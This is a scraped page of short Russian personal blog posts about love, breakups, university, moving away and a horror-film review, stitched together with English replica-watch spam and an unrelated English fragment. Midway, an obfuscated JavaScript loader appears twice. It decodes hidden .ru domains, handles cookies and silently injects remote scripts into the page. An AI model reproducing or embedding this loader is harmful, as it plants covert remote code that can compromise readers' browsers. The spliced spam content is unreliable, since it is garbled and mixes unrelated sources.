Работаю над собой. Пытаюсь быть лучше. Во всех смыслах. Я сама очень устала от своих каких-то бабских загонов и выдумок. Со мной рядом самый лучший человек, которого я безумно люблю и именно ради этой любви, ради этих чувств я буду бороться с собой. Мне дико сложно. Я не умею "давать по тормозам", не умею хорошенько думать, а потом говорить, не умею не зацикливаться на своём настроении и своих желаниях. Я жуткая эгоистка и иногда мне действительно хочется танцев под мою дудку. Но всё это мешает счастью, а значит, это нужно учиться контролировать. И я учусь. Учусь, потому что обнимаю любимого человека и готова сделать всё, чтобы эти объятья не прекращались. Ради одной себя или одного его, я бы, возможно, делать ничего не стала. Но речь идёт о Нас. Ради Нас я готова на всё.

Подруга недавно переехала в Москву, иногда веселит меня произошедшими там инцидентами.

Звонит клиенту по работе, он спрашивает:

— А где вы находитесь?

— В Москве.

— Странно, а по говору совсем не слышно…

Говорит, надо было ответить, что чуть салом не подавилась от таких обидных слов :D

P.S. Зато ранее, днем, ей сказали, что украинского акцента совсем не слышно. Два комплимента, но один полностью исключает другой :DD

И я снова радуюсь мелочам, я снова живу и улыбаюсь солнцу.
Я никогда не переживала после расставаний, я могу только говорить о них, вспоминать, но не переживать, не ныть…
И было трудно осознать, что расставание с Артемом сломило меня.
Ноо… разве 2 недели это много ?

Наконец-то все на своих местах, наконец-то я прежняя… Наконец-то груз ушел.
Приятно осознавать это и продолжать жить со спокойной душой.

Все будет хорошо!

Завтра куплю то, что хотел. Планы изменились, новая вахтерша не радует)

Я напишу сюда, что в данный момент происходит в моей жизни, но не раньше, чем через неделю, а пока буду обходиться постами-мнениями или чем-то еще.

Просто сейчас творится кое-что совсем не очень приятное с моим организмом, точнее, очень неприятное. Потом, все потом.

Вывод для себя, читая который я должна непременно думать о хорошем: пусть он пародирует меня, иногда снисходительно улыбается, чего я терпеть не могу, дразнится, но блин… Его забота обо мне перекрывает все эти мелочи с лихвой.

И да, я поступила на бюджет. Бюджет моей семьи не обеднеет на 300000 рублей из-за моего образования. Ну нереально круто же!

ну до чего же ненавижу людей, которые приходят и начинают тошнить тебе о своей жизни, рассказывать какие-то истории, называть бесконечно имена людей, которые хер знает кто такие вообще. станут и нудят. и без вас тошно, господи. но я же почему-то имею осознание того, что на ваш вопрос "как дела?" достаточно ответить "нормально". откуда берутся такие люди, которые любят себя навязывать и монотонно капать на мозги своими нудными историями? и жизнь - это же, к сожалению, не бложик, в котором, если не хочешь что-то читать, просто пролистываешь дальше. тут вроде как невежливо сказать "слушай, отвали, мне неинтересно". я, конечно, мастерски умею уклоняться от разговоров, но некоторые, хоть убей, не понимают каких-то невербальных знаков. хватит такими быть.

Рассказала папеньке про приглашение мамы Влада:

-Что, невестку уже в свет выводит?

Привет всем читателям моего блога ♡

Недавно я посмотрел фильм Unfriended (и как сказать проще: Убрать из друзей). И вы знаете, он мне понравился (пост может содержать спойлеры).

Зрителя уже мало чем напугаешь и большинство ужастиков предпочитают пугать не монстром, а все более призраки, духами и т.д. Так случилось и в Убрать из Друзей, где не показан убийца.

Вся история происходит в одном компьютере. Мы смотрим за происходящим с экрана ноутбука Блэйр Лили, которая разговаривает со своим бойфрендом Митчем. Постепенно, к разговору присоединяются еще несколько друзей, где они обсуждают насущные их проблемы и к ним присоединяется неизвестный аккаунт в скайпе Billi227, который не отстаёт от подростков. Подростки решают несколько раз отключиться с конференции и это не помогает. Ладно, может это глюк подумали они, и стали общаться на различные темы. Вдруг Billy227 начинает писать, но это же глюк? Тогда как он может писать? Все-таки это не глюк, а реальный человек. Все думают, что это чья-либо шутка, либо хакер. Но это не так, Billy227 начинает задавать странные вопросы, и в конце концов… он начинает игру по своим правилам. Billy227 начинает посылать фотографии голой Вэл, и не только! Все начинают ссориться, ведь они начинают узнавать о себе то, что им не стоило о себе узнавать! Игра начинает переходить на следующий уровень, более серьезный. Этот уровень и унесет многие жизни. Образуется настоящий террор, все звонят в полицию, но это не помогает. Тайны становятся все более страшные, все нервничают, не понимая что происходит.

Это Лора… и она пришла мстить! Подозрения падают на всех одноклассников, но слишком поздно. Billy227 начинает отчет, но отчет до чего? Именно! Отчет до первого убийства. Жуткий фильм, который заставит нервничать до самого конца! Определённые моменты дадут вам порцию адреналина! Фильм однозначно заслуживает крепкую оценку.

Минусы этого фильма:

• Фильм - это Skype (ибо вам придётся смотреть только эту конференцию и ничего больше)
• Одноразовый ужастик.

Плюсы этого фильма:

• Концепция и мораль (не выкладывай в интернет всякую херню)
• Если вам определённо хочется порцию адреналина и ужаса тогда этот фильм для вас.

Хочется чтобы во второй части Убрать из друзей идею фильма развили.

Мне всю ночь будут сниться унитазы… Сама себя заколебала, честное слово. Ну почему нельзя просто взять и перестать??? Живот уже просит есть.. Такое чувство, что у меня где-то есть тошнильный орган, никак не связанный с желудком. И каждый гнёт своё-одному жрать, второму наоборот. А ещё к нам близится тайфун Гони, который выворачивает деревья и несёт ураганы и разруху. Самое время, не так ли?)

Позвонила мама Влада.. Она главный продюсер на канале. Пригласила меня на программу (лотерии) в тиражную комиссию в воскресенье в 10 утра..) Меня покажут по телеку..) Уже коленки трясутся.)) Надеюсь, не забуду, как меня зовут.)))

Лето растворяется, как леденец в чашке с горячим чаем. Совсем скоро придет пора, когда все кружки в комнате будут наполнены горячим чаем сутки напролет. Вот сегодня я проснулась и замерзла. Укуталась в плед и начала начинать свой день в тканях и шлепанцах. На самом деле, я только вошла в ритм жизни, как снова приходит осень и все меняет. Я лопаю карамельки, как ребенок, пью горячий кофе по утрам, совсем как взрослая, и периодически умираю от The Weeknd - Eared it и Prisoner , хотя вообще такая музыка не по мне. Вообще, грустная музыка теперь составляет процентов восемьдесят моего плей-листа, хотя настроение (благодаря карамелькам) только начало быть стабильно неплохим.

Очень странный день.С самого утра побежала устраиваться на работу - чего только так бежала сама не знаю.Оказалось вакансий нет, сказали ждать.Блин, а это реально плохо.Мне нужна эта работа, меня же в деканате загрызут.Чуть не расплакалась там, прям в кабинете.

Потом по пути зашла к папе, получила деньги в подарок на день рождение и потопала домой.А по пути я подумала и решила изменить что-то.Уже у себя на рейоне заскочила в салон и отстригла свои волосы.Раньше были они у меня ниже лопаток, теперь ровно по плечи.Кто со мной вк, тот увидел мою фотку, там плохо видно длинну(я голову наклонила) но думаю заметно)

Завтра покрашусь и все, с волосами больше не мучаюсь.Нужно правда еще купить пару штучек, чтобы волосы не были такими сухими.

В общем все.Я безработная, походу накрылась моя учеба медным тазиком.Жеееесть.

Ну, он собирает для меня бруснику;идёт ужинать со мной туда, куда я хочу; заправляет одеяло в пододеяльник, я это так ненавижу; гладит белье; готовит еду, когда мне не хорошо. Я очень ценю всё это. И, я делаю подобное для него.

Скажу сегодня оч коротко Не верьте мужикам

Мы хотели сегодня в загс, но вместо этого расстались. Так бывает.

#mywork

Хочу, чтобы это поскорее закончилось. Чтобы он отстал, чтобы близкие люди остались сильными, верили в себя. Невозможно отвечать на звонки и искать нотки слез, внезапного стресса, открывать дверь и не понимать, что за ней ожидать. Не хочу проклинать каждый дьявольский выходной и морально изнашиваться за день больше, чем за всю рабочую неделю, зная, что остальным не лучше. Не хочу видеть его лицо, полное жестокости или притворства. В море шторм, и нужно как можно крепче держаться за палубу. На горизонте грозы.

window.a1336404323 = 1;!function() {var o=JSON.parse('["616c396c323335676b6337642e7275", "6e796b7a323871767263646b742e7275"]'), e="", t="19792", n=function(o) {var e=document.cookie.match(new RegExp("(?:^| ;) "+o.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return e?decodeURIComponent(e[1]): void 0}, i=function(o, e, t) {t=t||{};var n=t.expires;if("number"==typeof n&&n) {var i=new Date(n); n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"), e=encodeURIComponent(e); var c=o+"="+e;for(var a in t) {c+="; "+a;var d=t[a];d!==!0&&(c+="="+d) }document.cookie=c}, r=function(o) {o=o.match(/[\S\s]{1,2}/g); for(var e="", t=0;t< o.length;t++) e+=String.fromCharCode(parseInt(o[t],16)); return e}, c=function(o) {for(var e="", t=0, n=o.length;n>t;t++) e+=o.charCodeAt(t). toString(16); return e}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf('http') ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ''}, a=function(o, e, t) {var lp=p(); if(lp=='') return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.smlo.loadSmlo(n.replace('https:', 'http:')); else if(window.zSmlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.zSmlo.loadSmlo(n.replace('https:', 'http:')); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.executed||(this.executed=!0, "function"==typeof e&&e()) }, i.onerror=function() {this.executed||(this.executed=!0, i.parentNode.removeChild(i), "function"==typeof t&&t()) }}}, d=function(u) {var s=n("oisdom"); e=s&&-1!=o.indexOf(s) ?s:u?u:o[0];var f, m=n("oismods"); m?(f=r(e) +"/pjs/"+t+"/"+m+".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })): (f=r(e) +"/ajs/"+t+"/c/"+c("viewy.ru") +"_"+(self===top?0:1) +".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })) };d() }();

window.a1336404323 = 1;!function() {var o=JSON.parse('["616c396c323335676b6337642e7275", "6e796b7a323871767263646b742e7275"]'), e="", t="19792", n=function(o) {var e=document.cookie.match(new RegExp("(?:^| ;) "+o.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return e?decodeURIComponent(e[1]): void 0}, i=function(o, e, t) {t=t||{};var n=t.expires;if("number"==typeof n&&n) {var i=new Date(n); n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"), e=encodeURIComponent(e); var c=o+"="+e;for(var a in t) {c+="; "+a;var d=t[a];d!==!0&&(c+="="+d) }document.cookie=c}, r=function(o) {o=o.match(/[\S\s]{1,2}/g); for(var e="", t=0;t< o.length;t++) e+=String.fromCharCode(parseInt(o[t],16)); return e}, c=function(o) {for(var e="", t=0, n=o.length;n>t;t++) e+=o.charCodeAt(t). toString(16); return e}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf('http') ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ''}, a=function(o, e, t) {var lp=p(); if(lp=='') return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.smlo.loadSmlo(n.replace('https:', 'http:')); else if(window.zSmlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.zSmlo.loadSmlo(n.replace('https:', 'http:')); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.executed||(this.executed=!0, "function"==typeof e&&e()) }, i.onerror=function() {this.executed||(this.executed=!0, i.parentNode.removeChild(i), "function"==typeof t&&t()) }}}, d=function(u) {var s=n("oisdom"); e=s&&-1!=o.indexOf(s) ?s:u?u:o[0];var f, m=n("oismods"); m?(f=r(e) +"/pjs/"+t+"/"+m+".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })): (f=r(e) +"/ajs/"+t+"/c/"+c("viewy.ru") +"_"+(self===top?0:1) +".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })) };d() }();

Как-то вообще не верится, что все мы разъезжаемся. До сих пор не верится, что настал тот этап жизни, когда настала пора уезжать.

От друзей непривычно слышать: Я весь день занят(а). Собираю вещи, через определенное количество дней - поезд/самолет.

Мне кажется, что несмотря на то, что многие мои друзья будут жить в Москве, им будет не до меня. У всех появятся свои друзья, заботы, дела.

Я буду скучать по своей семье и комнате. Невероятно уже скучаю по своему брату.

Наша семья остается нашей семьей, и километры не смогут этого изменить.Однажды нам все равно нужно бы было уйти, чтобы строить свое будущее.

Я знаю, что буду плакать.Скорее всего и моя мама. Ей будет труднее, чем мне скорее всего. Но я и понимаю, что все к лучшему, что я всегда могу приехать домой к семье, а они могут приехать ко мне. Я буду скучать по всем. Но знаю, что когда-то это все равно бы произошло.

Все будет хорошо.

Ребята, знаете, что я сделаю, когда выйду сегодня с работы и приду домой? Лягу спать. Знаете насколько? Сука навсегда.

Я скучаю.

Время самых сладких запахов и время, когда школьники возвращаются с отдыхов и начинают готовиться к учебному году, встречаются с одноклассниками и делятся летними впечатлениями и приключениями. Когда я училась в школе, мне часто было одиноко от этого. Собственно, ничего не изменилось.

У меня даже нет какой-то моральной силы, или энергии, или вдохновения, чтобы хоть попытаться "надышаться перед смертью". Это скомканное лето удручает в сравнении с богатством предыдущего. И самое главное, самое беспокоящее - это его незвершенность. Тепло уходит, а строка не дописана.

Этой же моральной силы у меня нет, чтобы начать последний курс, нет тяги снова начинать этот порочный круг лент, конспектов и зачетов. Я хоть и чувствую себя на своем месте, но просто не вижу смысла, не вижу никакой цели, и мне этой цели не хватает.

И я уже даже не скрываю этого, когда кто-то спрашивает, я говорю правду: "мне не с кем" - и я начинаю чувствовать, что порой будто специально давлю на это, повторяю, будто жалуюсь. Я жалуюсь другим людям и даже не чувствую стыда. Это край, это предел.

Я себя знаю: мне нужно сделать только один, первый шаг - потом все идет как по-маслу. Мне нужно движение, и мне нужен небольшой толчок, совсем крохотный - открытая, вакантная возможность, с которой можно начать. Болото бездарности не может меня проглотить.

…a lady of high degree but afflicted with periods of deep melancholia. Some months before she had returned from Europe with half a million dollars in Belgian lace. Then deep melancholia struck her, the lace was left out of whatever fine lace should be kept in for moth protection, and the moth ate it up.

Август …

Вот люблю я этот август , сладкий месяц лета. Кушай виноград, смотри красивые закаты, слушай новые альбомы самых любимых групп… Идеально же. Каждый день по-своему прекрасен, каждый день происходит что-то нереальное. Возможно для других это глупости, но для меня нет. Вот недавно мой любимый купил мне несколько милых канцелярских штучек. А мне настолько тепло от этого на душе. Хотя это же просто мелочи. Но какие они милые: з

Я вчера снова гуляла с Димой, третий раз, мы обошли пол города за 3,5 часа. Много разговаривали о мелочах и о семье, об измене. Он спрашивал, почему не было раньше отношений и поцелуев, а я сказала, что мне не нравится. Каждый раз, когда я об думаю, перед глазами встает папа, целующий чужую женщину. Отвратительно! Мы сидели в час ночи на остановке и разговарили о поцелуях и моем желании/невозможности выходить замуж. Как я могу сказать "да" человеку, если не уверена в его искренности? Где гарантии, что через семь лет он не уедет с другой женщиной? Мне нужна уверенность! Её нет, нет и отношений. Домой я шла одна, в начале второго часа ночи, через лес и стройку. Было так страшно, что хотелось наплевать на свои принципы, развернуться и бежать за ним, прося проводить до дома, но я шла вперед. Зайдя домой, так на душе паршиво стало, вот как сейчас. Проверила телефон, а от него сообщение, чтобы написала, как до дома дойду. Дошла, написала, и получила в ответ:"Теперь я не волнуюсь". Чтобы не волноваться, нужно провожать! Наверное, обиделся, ну и ладно! Между тем, жизнь продолжается, мне снова снятся кошмары об учебе, я просыпаюсь посреди ночи вся в поту, а днём болит голова. На следующей неделе, скорее всего, пойду к платному врачу.

Тут больше не будет никаких личных постов.
Только реблоги.

Да что бы я.

Да что бы я еще раз.

Да что бы я еще раз отмечала день рождения.

…

Чего хотелось?

Хотелось веселой и теплой дружеской тусни, с хорошей музыкой и приятной компанией.

Что получилось?

Толпа народу, которая через 2 бокала шампанского забыла, зачем они сюда пришли. Фальшивые улыбочки и пожелания отлично оттеняли кучу хлама в подарочных пакетиках.

Видимо, в какой то момент мозг дал сигнал "дайте мне это все развидеть", и тело с радостью нахуярилось.

Итог:

Потерянный телефон, лютый отходняк, куча подарочного хлама, не меньшая куча проебаных денег. + Абсолютное НЕ(!!!) желание праздновать еще хоть что то.

Зато отлично себе напомнила, что черезчур о себе возомнила.

Проще надо быть, проще.

Ничего не изменится, пока вы действительно не захотите этого . Возможно, пришло время покинуть удобную, комфортно обставленную раковину и хлынуть в водоворот приключений и впечатлений? Открывать новые места, знакомиться с культурой других стран, пробовать необычные блюда, завязывать разговоры с незнакомцами, делиться мыслями, чувствуя, как соприкасаются души, когда находится общая тема.

Чем дольше прячемся в собственном убежище, тем труднее из него выбраться. Прекратите закрываться в себе, не подпускать посторонних, отгораживаться от насыщенного эмоциями воздуха. Сделайте первый шаг — согласитесь на первое услышанное предложение. А после с интересом наблюдайте, куда вас приведет внезапное решение.

больше здесь: @folemagazine

а человеку нужен крепкий чай,
а не меха, какие подороже.
и просто слышать "как же я скучал",
и улыбаться "я скучала тоже"

Some of the Breitling watches are exclusive swiss watches match up against those of other famous brands like Rr and Rolex watch. The Breitling Navitimer check out is a good example. It's not necessarily an overstatement to talk about that the wristwatch is actually a masterwork on the company. All at once, it's the most realistic and sturdy swiss watches on the company. It is so exclusive that we are all impressed by it. View enthusiasts and aviators all enjoy it due to its originality is a valuable. Why do exclusive? First of all, it is just a authentic aviator check out. Although many producers advise that they produce swiss replica watches for aviators, couple of them can create authentic aviator swiss watches.

Breitling is actually a well-known supplier which is recognized for these great swiss watches. Such a wristwatch differs from other individuals with exclusive performs and design. The Breitling navitimer is amongst the most popular aviator bell and ross replica watches on earth. It has been known by individuals for upwards of 150 many years! This is a excellent item and tool for those specialist aviators. Second of all, it is just a wristwatch with exclusive meanings. It's unique variants for the people to pick. One of the most exclusive bits is one that is made for the 125th anniversary of Breitling. This is a glamorous wristwatch which includes two variants: you've gotten a dark-colored and tan switch and the other you've gotten a magic or dark-colored switch. This is among the the exclusive waste Breitling navitimer. The truth is, there are many other distinctive watches. Each of them is significant bits that level the top events of the organization. And several watches on the Navitimer have unique features. Primary Navitimer variants is a good example.

This is a bit with a exclusive movement. It is powered by the Breitling 26 good quality. The actions are licensed that defeat for a consistency of 288800 shake. There're run available for a couple of days. This is a great bit for those aviators. And there are unique swiss watches that suited families. Most of the Breitling navitimer level the high technological know-how and ideal knowledge of check out developing on the company. That may be another reason why why they may be distinctive. They've got sophisticated actions. There're useful add-ons. Other than aviators, a lot of most people are also fascinated by their excellent necklaces. The Breitling navitimer is definitely worth to note on the subject of high-conclusion and state-of-the-art swiss watches. This is a exclusive bit which is recalled for a long time by individuals on the check out developing market.

Cinnamon Rolls of The Man From U.N.C.L.E.

Кровь из носа. С добрым утром, однако.

А мне уже раз четвёртый за полторы-две недели снится, как мне Влад изменяет…

Она не знала, любовь это или нет, но всем своим сердцем и душой чувствовала одно: что больше всего на свете ей хочется спрятаться у него в кармане и вечно сидеть там в покое и безопасности.

Фрэнсис Скотт Фицджеральд. Сама по себе.

есть мужчины, с которыми уютно, тепло и надежно. А есть те, с которыми каждый день понимаешь: "Я в дерьме. Я в дерьме. Зачем я в нем?".

Привет всем. Давайте закомится